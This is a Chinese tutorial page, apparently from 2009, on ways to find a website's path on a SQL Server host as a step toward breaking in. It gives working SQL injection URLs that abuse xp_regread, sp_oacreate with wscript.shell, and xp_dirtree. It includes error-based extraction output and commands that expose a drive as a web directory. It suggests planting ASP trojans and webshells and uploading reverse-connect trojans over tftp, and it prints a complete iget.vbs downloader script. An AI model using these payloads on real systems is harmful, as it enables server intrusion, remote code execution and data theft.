当前位置: 首页 > 图文教程 > 服务器 > 安全防护 > sqlserver取得网站路径的几种方法以及比较(2)

安全防护
2003服务器防止海洋木马的安全设置(1)
2003服务器防止海洋木马的安全设置(2)
2003服务器防止海洋木马的安全设置(3)
加固脆弱的IIS服务
linux操作系统的优化及安全配置(1)
linux操作系统的优化及安全配置(2)
linux操作系统的优化及安全配置(3)
Server2003 DNS服务安装篇(2)
Server2003 DNS服务安装篇(3)
Server2003 DNS服务安装篇(4)
WindowsServer2003安全事件ID分析(1)
WindowsServer2003安全事件ID分析(2)
打造安全的Windows 2003系统(5)
Win2003 Server手动设置全攻略(1)
Win2003 Server手动设置全攻略(2)
Win2003 Server手动设置全攻略(3)
Win2003 Server手动设置全攻略(4)
搜索型注入之我看
为Windows 2003安全—层层设防(1)
为Windows 2003安全—层层设防(2)

安全防护 中的 sqlserver取得网站路径的几种方法以及比较(2)


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-10-29   浏览: 47 ::
收藏到网摘: n/a

方法四:
这个方法是要饭的提到的,通过xp_regread等从注册表里读出路径
以下推荐,获取网页路径(通过存储过程达到对注册表的读取):
利用内置存储过程 xp_regread(读取注册表键值,权限public):
语句:http://www.xxx.com/list.asp?classid=1;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test
varchar(20) exec master..xp_regread @rootkey= HKEY_LOCAL_MACHINE , @key=
SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\ , @value_name= / , values=@test OUTPUT insert into paths
(path) values(@test)
IIS的默认路径的在注册表中HKEY_LOCAL_MACHINE\ SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\
利用爆字段将数据库的值读出来:
语句:http://www.xxx.com/list.asp?classid=1 and 0<>(select top 1 paths from newtable)--返回: Microsoft OLE DB Provider for
ODBC Drivers 错误 80040e07 [Microsoft][ODBC SQL Server Driver][SQL Server]将 varchar 值 E:\www,,201 转换为数据类型为 int 的
列时发生语法错误。
这说明网页目录在E:\www,接下来也可以利用FSO直接写入ASP木马
如果得不到网页目录,怎么办呢?前提你要猜到网站是否使用默认WEB,或者使用域名作为WEB。
declare @o int exec sp_oacreate wscript.shell , @o out exec sp_oamethod @o, run , NULL,' cscript.exe c:
\inetpub\wwwroot\mkwebdir.vbs -w "默认 Web 站点" -v "e","e:\"'
在默认的WEB站点下创建一个虚拟目录E,指向E:盘下。
declare @o int exec sp_oacreate wscript.shell , @o out exec sp_oamethod @o, run , NULL,' cscript.exe c:
\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse'
给虚拟目录e加上浏览属性不错吧。给自己开虚拟服务。想那些网页目录路径,头都快破了。这下给自己一个天开眼了。那传WEBSHELL利用MS
SQL为我们的工作告了一段落了,接下来工作应该由你来了。
哈哈,方法不错哟,通过注册表来读,方便快捷!
优缺点分析:
优点当然是方便快捷了。缺点是只能察看默认的iis站点的路径,如果不再默认的站点那就无能为力了(我用regsnape跟踪过),如果在2003下
那就是连默认的站点路径也不显示了!痛苦中

顺便说两句,
实际上除了找网站路径的方法外,还是有别的方法来继续入侵的,比如说通过tftp来上传反弹木马,或者是通过写一个iget.vbs来下载你想要
的东东
iget.vbs代码如下:
---------start----------
Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET",LCase(WScript.Arguments(0)),0
xPost.Send()
Set sGet = CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile LCase(WScript.Arguments(1)),2
----------end-----------

---------------------------------------------------------------------------------------------------------------------------------------------------------------------
对此文的在补充
近日发现对毛主席大人的指示理解不够深刻,特在此表示补充
实际上上面的各种方法根本就不需要比较了xp_dirtree是最好的,只要这一种方法就够了
只是因为我当初太..............
今日将xp_dirtree的秘密再挖一下
好,我们exec master..xp_dirtree'd:/test'
假设我们在test里有两个文件夹test1和test2在test1里又有test3
结果显示
subdirectory depth
test1 1
test3 2
test2 1
哈哈发现没有那个depth就是目录的级数
ok了,知道怎么办了吧
http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000),id int)--
http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'd:\' --
http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where id=1)-
只要加上id=1,就是第一级目录,而且只要public权限,爽哟